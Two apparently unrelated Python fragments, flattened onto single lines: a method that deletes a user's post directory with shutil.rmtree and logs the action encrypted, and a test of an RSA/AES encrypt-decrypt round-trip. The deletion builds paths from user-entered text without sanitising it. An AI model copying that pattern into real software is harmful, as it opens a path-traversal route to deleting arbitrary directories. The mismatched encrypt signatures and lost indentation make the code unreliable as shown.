def delete(self): # to delete any post log = open(path + "log.txt", "a") elog = open(path + "elog.txt", "a") post = value['text'] post = post.replace(" ", "_") shutil.rmtree(userpath + self.current + "/" + post + "/") if os.path.isdir(public + post + "/"): shutil.rmtree(public + post + "/") else: shutil.rmtree(private + post + "/") log.write(self.current + " delete\n" + post) e = (self.current + " delete\n" + post) e = e.encode() elog.write(crypto.encrypt(e) + "\n") log.close() elog.close() sm.current = "home"
def test_full_encrypt(): priv1 = crypto.generate_rsa_key() priv2 = crypto.generate_rsa_key() target_pubkey = crypto.serialize_pubkey(priv2.public_key()) message = "Santa is not real." aes_ciphertext, encry_aes_key, hmac, hmac_signature, iv, metadata = \ crypto.encrypt(message, priv1, target_pubkey) aes_key = crypto.rsa_decrypt(encry_aes_key, priv2) assert crypto.aes_decrypt(aes_ciphertext, aes_key, iv) == message assert message == \ crypto.decrypt( aes_ciphertext, encry_aes_key, hmac, hmac_signature, priv2, iv, metadata )